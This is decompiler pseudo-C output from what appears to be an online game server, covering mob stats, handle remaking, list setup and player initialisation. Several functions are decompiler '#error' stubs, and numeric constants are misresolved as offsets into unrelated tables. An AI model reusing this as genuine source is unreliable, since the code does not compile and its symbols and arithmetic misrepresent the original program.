type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (004FA010) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall ShineObjectClass::ShineMobileObject::so_AbnormalState_IsSet(int this, AbnormalStateInfo::ABSTATEINDEX abstate) { AbnormalStateContainer::AbstateElementInObject *result; // eax@1 result = AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet((void *)(this + 204), abstate); if ( result ) result = (AbnormalStateContainer::AbstateElementInObject *)((result->aeo_Tick.terminate - clockwatch.cw_CurrTick) / 0xA); return result; } //----- (004FA040) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_FirstActionAfterSocketConnect(void *this) { void *v1; // ebp@1 char v2; // al@1 unsigned int v3; // edx@1 int v4; // esi@1 CParty::PARTY_SLOT *v5; // eax@1 int v6; // eax@1 char v7; // al@1 ListIteratorDefault arg; // [sp+14h] [bp-14h]@1 char *v9; // [sp+18h] [bp-10h]@1 int v10; // [sp+24h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_FirstActionAfterSocketConnect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_FirstActionAfterSocketConnect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; ShineObjectClass::ShineMobileObject::so_FirstActionAfterSocketConnect(v1); v2 = *((_BYTE *)v1 + 23324); *((_BYTE *)v1 + 23325) &= 0xFEu; *((_BYTE *)v1 + 92548) = 0; *((_DWORD *)v1 + 22288) = ShineObjectClass::ShinePlayer::sp_NoAdmin; *((_BYTE *)v1 + 23324) = v2 & 0x5B; *(_WORD *)((char *)v1 + 32169) = -1; *(_DWORD *)((char *)v1 + 89158) = 0; *((_BYTE *)v1 + 89162) = 0; ListCheckStruct::lcs_Init((ListCheckStruct *)((char *)v1 + 62), &ShineObjectClass::ShineObject::so_SlantedListChecker); v3 = clockwatch.cw_CurrTick; *((_DWORD *)v1 + 16510) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *((_DWORD *)v1 + 16508) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *((_DWORD *)v1 + 931) = -1; *((_DWORD *)v1 + 930) = -1; v4 = *(_DWORD *)v1; *((_DWORD *)v1 + 17068) = v3; *((_DWORD *)v1 + 1793) = 0; *((_DWORD *)v1 + 22482) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *((_DWORD *)v1 + 7969) = (char *)v1 + 23668; *((_DWORD *)v1 + 7968) = &ShineObjectClass::ShineObject::so_dummypacketcontainer; v5 = CParty::p_defaultslot(&partycontainer); (*(void (__thiscall **)(void *, CParty::PARTY_SLOT *))(v4 + 1820))(v1, v5); memcpy( (void *)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1164))(v1), &ShineObjectClass::ShineObject::so_emptyabstate, 0x31u); Parameter::Container::c_clear((Parameter::Container *)((char *)v1 + 4008)); BitSet::bs_clear((BitSet *)((char *)v1 + 89166)); CQuestZone::InitNewPlayer((CQuestZone *)((char *)v1 + 66048)); v6 = *(_DWORD *)v1; memcpy((char *)v1 + 91688, &ShineObjectClass::ShineObject::so_ChargedEffectContainerClear, 0x24u); (*(void (__thiscall **)(void *, _DWORD))(v6 + 1984))(v1, 0); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 1988))(v1, 0); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 2052))(v1, 0); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 2056))(v1, 0); *((_DWORD *)v1 + 23039) = 0; *((_DWORD *)v1 + 23040) = ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; *((_DWORD *)v1 + 23043) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)v1 + 23042) = 0; v7 = *((_BYTE *)v1 + 7416) & 0xFE; *((_BYTE *)v1 + 23654) = -1; *((_BYTE *)v1 + 23653) = 99; *((_BYTE *)v1 + 7416) = v7; arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v9 = (char *)v1 + 92192; LOBYTE(v10) = 1; List::l_4AllInList((List *)((char *)v1 + 92192), &arg); LOBYTE(v10) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; *((_DWORD *)v1 + 23068) = &ShineObjectClass::ShineObject::so_CostumWeaponChargeing; ProtocolLogger::pl_Clear((ProtocolLogger *)((char *)v1 + 92280)); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 376))(v1, 0); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_FirstActionAfterSocketConnect"); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 603218: using guessed type int (__stdcall **ShineObjectClass__ShineObject__so_dummypacketcontainer)(int sklidx); // 1246F078: using guessed type struct ItemTotalInformation ShineObjectClass__ShineObject__so_CostumWeaponChargeing; // 1246F164: using guessed type struct ChargedEffectContainer ShineObjectClass__ShineObject__so_ChargedEffectContainerClear; //----- (004FA290) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, const unsigned int *_Keyval) { std::_Tree_nod,std::allocator,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval >= *_Keyval ) { v3 = v4; v4 = v4->_Left; } else { v4 = v4->_Right; } } if ( v3 == this->_Myhead || *_Keyval < v3->_Myval ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- (004FA300) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004FA420) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 Observer *v2; // esi@1 Observer *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) v2->baseclass_0.vfptr->__vecDelDtor((IObserver *)v2, 0); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (004FA470) -------------------------------------------------------- #error "4FA470: undefined or illegal type '#331' (funcsize=40)" //----- (004FA4E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::__unnamed::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); *(_DWORD *)(this + 28) = *(_DWORD *)(a2 + 28); *(_DWORD *)(this + 32) = *(_DWORD *)(a2 + 32); *(_DWORD *)(this + 36) = *(_DWORD *)(a2 + 36); *(_DWORD *)(this + 40) = *(_DWORD *)(a2 + 40); *(_DWORD *)(this + 44) = *(_DWORD *)(a2 + 44); *(_DWORD *)(this + 48) = *(_DWORD *)(a2 + 48); *(_DWORD *)(this + 52) = *(_DWORD *)(a2 + 52); *(_DWORD *)(this + 56) = *(_DWORD *)(a2 + 56); *(_DWORD *)(this + 60) = *(_DWORD *)(a2 + 60); *(_DWORD *)(this + 64) = *(_DWORD *)(a2 + 64); *(_DWORD *)(this + 68) = *(_DWORD *)(a2 + 68); return result; } //----- (004FA560) -------------------------------------------------------- #error "4FA560: undefined or illegal type '#331' (funcsize=40)" //----- (004FA5D0) -------------------------------------------------------- #error "4FA5D0: undefined or illegal type '#331' (funcsize=53)" //----- (004FA660) -------------------------------------------------------- #error "4FA660: undefined or illegal type '#331' (funcsize=53)" //----- (004FA6F0) -------------------------------------------------------- #error "4FA6F0: undefined or illegal type '#331' (funcsize=21)" //----- (004FA730) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineAxialFlag::_ShineAxialFlag(ShineObjectClass::ShineAxialFlag *this) { int v1; // esi@1 v1 = (int)this; *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineAxialFlag::_vftable_; if ( this->safm_vecRoutions._Myfirst ) operator delete(this->safm_vecRoutions._Myfirst); *(_DWORD *)(v1 + 123) = 0; *(_DWORD *)(v1 + 127) = 0; *(_DWORD *)(v1 + 131) = 0; ShineObjectClass::ShineObject::_ShineObject(v1); } // 5C5D50: using guessed type int (*ShineObjectClass__ShineAxialFlag___vftable_)(); //----- (004FA770) -------------------------------------------------------- #error "4FA770: undefined or illegal type '#331' (funcsize=13)" //----- (004FA7A0) -------------------------------------------------------- #error "4FA7A0: undefined or illegal type '#331' (funcsize=2)" //----- (004FA7B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineAxialFlag::so_safm_SetCinema(ShineObjectClass::ShineAxialFlag *this, Movie::CinemaComplex *cine) { this->safm_Screen = cine; } //----- (004FA7C0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineAxialFlag::so_RemakeHandle(ShineObjectClass::ShineAxialFlag *this, unsigned __int16 handle) { ShineObjectClass::ShineAxialFlag *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 16 * handle | 5; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 16 * handle | 5; } //----- (004FA7F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::_ShineMob(int this) { int v1; // esi@1 void *v2; // eax@1 v1 = this; *(_DWORD *)this = &ShineObjectClass::ShineMob::_vftable_; v2 = *(void **)(this + 8880); if ( v2 ) operator delete(v2); *(_DWORD *)(v1 + 8880) = 0; *(_DWORD *)(v1 + 8884) = 0; *(_DWORD *)(v1 + 8888) = 0; List::_List((HitMeList::EnemyList *)(v1 + 8424)); MobTacticElement::MobActionArgument::_MobActionArgument((MobTacticElement::MobActionArgument *)(v1 + 7624)); if ( *(_DWORD *)(v1 + 7588) ) operator delete(*(void **)(v1 + 7588)); *(_DWORD *)(v1 + 7588) = 0; *(_DWORD *)(v1 + 7592) = 0; *(_DWORD *)(v1 + 7596) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 7452)); TargetAnalyser_Player::_TargetAnalyser_Player((TargetAnalyser_Player *)(v1 + 7440)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 7432)); ShineObjectClass::ShineMobileObject::_ShineMobileObject(v1); } // 5C67B0: using guessed type int (*ShineObjectClass__ShineMob___vftable_)(); //----- (004FA8E0) -------------------------------------------------------- ShineRTTI *__cdecl ShineObjectClass::ShineMob::GetRTTI() { return &ShineObjectClass::ShineMob::m_RTTI; } //----- (004FA8F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mobile_BattleCamp(int this) { return (*(_BYTE *)(**(_DWORD **)(this + 7576) + 103) != 0) + 1; } //----- (004FA910) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_RegenLocation(void *this) { return (int)((char *)this + 8832); } //----- (004FA920) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_LastHittedLocation(void *this) { return (int)((char *)this + 8840); } //----- (004FA930) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_ChaseRangeSquar(int this) { return *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7576) + 4) + 68) * *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7576) + 4) + 68); } //----- (004FA940) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::so_mob_SetWeaponAniTime(int this) { int v1; // eax@1 unsigned int result; // eax@2 int v3; // ecx@3 v1 = *(_DWORD *)(this + 7600); if ( v1 >= 0 ) { v3 = 10 * *(_WORD *)(*(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7576) + 8) + 12 * v1) + 77); result = ((signed int)((unsigned __int64)(v3 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v3 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); } else { result = 0; } return result; } //----- (004FA980) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_CharName(int this) { return **(_DWORD **)(this + 7576) + 34; } //----- (004FA990) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShineMob::so_OverlapFactor(void *this) { int v1; // eax@1 signed int result; // eax@3 v1 = *(_DWORD *)(**((_DWORD **)this + 1894) + 95); if ( v1 == 1 || v1 == 2 ) result = 3; else result = (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1136))() != 3; return result; } //----- (004FA9C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_FillBriefInformation(int this, void *array) { int result; // eax@1 result = this; memcpy(array, *(const void **)(this + 7551), 0x40u); return result; } //----- (004FA9E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_SendMyBriefInfo(void *this, int a2) { int v2; // esi@1 int v3; // eax@3 v2 = (int)this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1212))() == 4 || !(unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 1860))(a2) ) { v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 764))(a2); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 12))(v3, a2, v2 + 7468); (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v2 + 2472))(v2, a2); ShineObjectClass::ShineMob::mb_SendMyGuildInfo(v2, a2); } } //----- (004FAA40) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMob::so_IsEmpty(void *this) { return (*(int (**)(void))(*(_DWORD *)this + 1136))() == 3; } //----- (004FAA50) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineMob::so_ObjectType() { return 5; } //----- (004FAA60) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_GetLevel(int this) { return *(_BYTE *)(this + 7580); } //----- (004FAA70) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::so_attackspeed1000_packet(void *this) { int v1; // eax@1 int v2; // ecx@3 unsigned int result; // eax@3 v1 = *((_DWORD *)this + 1900); if ( v1 >= 0 && *(_DWORD *)(*(_DWORD *)(*((_DWORD *)this + 1894) + 8) + 12 * v1) ) { v2 = *(_DWORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)this + 1052))(this) + 2488) * *(_WORD *)(*(_DWORD *)(*(_DWORD *)(*((_DWORD *)this + 1894) + 8) + 12 * *((_DWORD *)this + 1900)) + 69); result = ((signed int)((unsigned __int64)(v2 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v2 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); } else { result = 99999; } return result; } //----- (004FAAE0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::so_BodySize(int this) { return (unsigned int)((unsigned int)(50 * *(_DWORD *)(**(_DWORD **)(this + 7576) + 104)) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; } //----- (004FAB00) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_AttackRange(int this, int a2) { int v2; // eax@1 int result; // eax@3 v2 = *(_DWORD *)(this + 7600); if ( v2 >= 0 && *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7576) + 8) + 12 * v2) ) result = *(_WORD *)(*(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7576) + 8) + 12 * *(_DWORD *)(this + 7600)) + 105) + (*(int (**)(void))(*(_DWORD *)a2 + 1660))(); else result = 99999; return result; } //----- (004FAB60) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_DataBox(int this) { return *(_DWORD *)(this + 7576); } //----- (004FAB70) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_Race(int this) { return *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7576) + 4) + 90); } //----- (004FAB80) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMob::so_WalkSpeed(int this) { return (unsigned __int8)((unsigned int)((unsigned int)(*(_DWORD *)(this + 7024) * *(_DWORD *)(**(_DWORD **)(this + 7576) + 74)) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6); } //----- (004FABB0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::so_RunSpeed(int this) { return (unsigned int)((unsigned int)(*(_DWORD *)(this + 7024) * *(_DWORD *)(**(_DWORD **)(this + 7576) + 78)) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; } //----- (004FABD0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GetCharRegistNumber(int this) { return *(_DWORD *)(this + 7456); } //----- (004FABE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_LoginLocation(void *this) { return (int)((char *)this + 7555); } //----- (004FABF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_Heal(void *this, int heal) { void *v2; // esi@1 int v3; // eax@1 int result; // eax@1 v2 = this; v3 = (*(int (**)(void))(*(_DWORD *)this + 1052))(); *((_DWORD *)v2 + 1865) += ((signed int)((unsigned __int64)(heal * *(_WORD *)(v3 + 3142) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(heal * *(_WORD *)(v3 + 3142) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); if ( *((_DWORD *)v2 + 1865) > (unsigned int)result ) { result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); *((_DWORD *)v2 + 1865) = result; } return result; } //----- (004FAC50) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GetHP(int this) { return *(_DWORD *)(this + 7460); } //----- (004FAC60) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::so_MaxHP(void *this) { void *v1; // esi@1 unsigned int result; // eax@1 v1 = this; result = (unsigned int)((unsigned int)(*(_DWORD *)(**((_DWORD **)this + 1894) + 70) * *(_DWORD *)((*(int (**)(void))(*(_DWORD *)this + 1052))() + 2492)) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; *((_DWORD *)v1 + 932) = result; return result; } //----- (004FACA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_MaxSP(int this) { int result; // eax@1 result = *(_WORD *)(*(_DWORD *)(*(_DWORD *)(this + 7576) + 4) + 151); *(_DWORD *)(this + 3732) = result; return result; } //----- (004FACC0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GetSP(int this) { return *(_DWORD *)(this + 7464); } //----- (004FACD0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::so_LostSP(int this, unsigned int a2) { unsigned int result; // eax@1 result = *(_DWORD *)(this + 7464); if ( result < a2 ) { *(_DWORD *)(this + 7464) = 0; } else { result -= a2; *(_DWORD *)(this + 7464) = result; } return result; } //----- (004FAD00) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GainSP(void *this, int a2) { void *v2; // esi@1 int result; // eax@1 v2 = this; *((_DWORD *)v2 + 1866) += a2; result = (*(int (**)(void))(*(_DWORD *)this + 1248))(); if ( *((_DWORD *)v2 + 1866) >= (unsigned int)result ) { result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1248))(v2); *((_DWORD *)v2 + 1866) = result; } return result; } //----- (004FAD40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::smo_ZeroHP(int this) { *(_DWORD *)(this + 7460) = 0; } //----- (004FAD50) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::so_LostHP(int this, unsigned int hp) { unsigned int result; // eax@1 result = *(_DWORD *)(this + 7460); if ( result < hp ) { *(_DWORD *)(this + 7460) = 1; } else { result -= hp; *(_DWORD *)(this + 7460) = result; } return result; } //----- (004FAD80) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GainHP(void *this, int hp) { void *v2; // esi@1 int result; // eax@1 v2 = this; *((_DWORD *)v2 + 1865) += hp; result = (*(int (**)(void))(*(_DWORD *)this + 1236))(); if ( *((_DWORD *)v2 + 1865) >= (unsigned int)result ) { result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1236))(v2); *((_DWORD *)v2 + 1865) = result; } return result; } //----- (004FADC0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMob::so_RemakeHandle(void *this, __int16 handle) { void *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 4 * handle; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 4 * handle; } //----- (004FADF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_Getabstatebit(int this) { int v1; // eax@1 int result; // eax@2 v1 = *(_DWORD *)(this + 7551); if ( *(_BYTE *)(v1 + 14) ) result = (int)&BriefInformationMob::bim_DefStateBit; else result = v1 + 15; return result; } //----- (004FAE10) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMob::so_mob_MobID(int this) { return ***(_WORD ***)(this + 7576); } //----- (004FAE20) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_FalimyList(void *this) { return (int)((char *)this + 8853); } //----- (004FAE30) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_DistanceFromHome(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // esi@1 int v4; // ecx@1 int v5; // ecx@1 v1 = this; v2 = (*(int (**)(void))(*(_DWORD *)this + 1492))(); v3 = *(_DWORD *)((char *)v1 + 78); v4 = *(_DWORD *)(v3 + 4) - *(_DWORD *)(v2 + 4); v5 = (*(_DWORD *)v3 - *(_DWORD *)v2) * (*(_DWORD *)v3 - *(_DWORD *)v2) + v4 * v4; return (unsigned int)&wholesaver.ws_savestore[11].esc_abstate.buffer[18344] < v5 ? v5 : 0; } //----- (004FAE70) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_CurrentTargetHandle(int this) { return (*(int (**)(void))(**(_DWORD **)(this + 8412) + 8))(); } //----- (004FAE80) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_CurrentTargetObject(int this) { return (*(int (**)(void))(**(_DWORD **)(this + 8412) + 12))(); } //----- (004FAE90) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMob::so_CanSkillTarget(int this) { return *(_DWORD *)(**(_DWORD **)(this + 7576) + 95) != 5; } //----- (004FAEA0) -------------------------------------------------------- #error "4FAEA0: undefined or illegal type '#331' (funcsize=10)" //----- (004FAED0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mobile_GetIdxName(int this) { return **(_DWORD **)(this + 7576) + 2; } //----- (004FAEE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::smo_BattleKillScore(int this) { return *(_WORD *)(*(_DWORD *)(*(_DWORD *)(this + 7576) + 4) + 144); } //----- (004FAF00) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_mob_CanRecover(int this, char can) { char v2; // dl@1 char result; // al@1 v2 = *(_BYTE *)(this + 8848); result = (v2 ^ 2 * can) & 2; *(_BYTE *)(this + 8848) = result ^ v2; return result; } //----- (004FAF20) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_mob_MobAggro(int this, char can) { char result; // al@1 result = (can ^ *(_BYTE *)(this + 8848)) & 1; *(_BYTE *)(this + 8848) ^= result; return result; } //----- (004FAF40) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_mobile_MobAggroRate(int this) { return *(_BYTE *)(this + 8848) & 1; } //----- (004FAF50) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_IsPlayerSide(int this) { return *(_BYTE *)(**(_DWORD **)(this + 7576) + 103); } //----- (004FAF60) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMob::so_getDetectRange(void *this) { return *(_WORD *)(*(_DWORD *)((*(int (**)(void))(*(_DWORD *)this + 1720))() + 4) + 59); } //----- (004FAF70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_SetLastBattle(int this) { int v1; // esi@1 int v2; // eax@2 int v3; // ecx@2 AxialListMobKillLog almkl; // [sp+4h] [bp-1Ch]@4 int v5; // [sp+1Ch] [bp-4h]@4 v1 = this; *(_DWORD *)(this + 4000) = clockwatch.cw_CurrTick; if ( !*(_BYTE *)(this + 8852) ) { v2 = *(_DWORD *)(this + 7576); v3 = *(_DWORD *)(v2 + 28); if ( v3 ) { if ( **(_WORD **)v2 == *(_DWORD *)v3 ) { AxialListMobKillLog::AxialListMobKillLog(&almkl, 1, 910, **(_WORD **)v2); v5 = 0; ShineObjectClass::ShineObject::so_AllInMap((void *)v1, (int)&almkl, 0); v5 = -1; AxialListWall::_AxialListWall(&almkl); } } } *(_BYTE *)(v1 + 8852) = 1; } //----- (004FB010) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_SetWeaponHitTime(void *this) { void *v1; // esi@1 int result; // eax@2 int v3; // eax@3 v1 = this; if ( *((_DWORD *)this + 1900) >= 0 ) { v3 = (*(int (**)(void))(*(_DWORD *)this + 1268))(); *(_DWORD *)(*((_DWORD *)v1 + 1897) + 4 * *((_DWORD *)v1 + 1900)) = clockwatch.cw_CurrTick + ((signed int)((unsigned __int64)(1000 * (v3 + 99) / 100 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(1000 * (v3 + 99) / 100 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); result = *(_DWORD *)(*((_DWORD *)v1 + 1897) + 4 * *((_DWORD *)v1 + 1900)); } else { result = 0; } return result; } //----- (004FB090) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineBandit::_ShineBandit(ShineObjectClass::ShineBandit *this) { *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineBandit::_vftable_; ShineObjectClass::ShineMob::_ShineMob((int)this); } // 5C72E0: using guessed type int (*ShineObjectClass__ShineBandit___vftable_)(); //----- (004FB0A0) -------------------------------------------------------- ShineRTTI *__thiscall ShineObjectClass::ShineBandit::GetRTTI(ShineObjectClass::ShineBandit *this) { return &ShineObjectClass::ShineBandit::m_RTTI; } //----- (004FB0B0) -------------------------------------------------------- int __thiscall ORColumnHeaderByte::orch_FieldType(ORFieldByte *this) { return 3; } //----- (004FB0C0) -------------------------------------------------------- #error "4FB0C0: undefined or illegal type '#331' (funcsize=20)" //----- (004FB100) -------------------------------------------------------- char 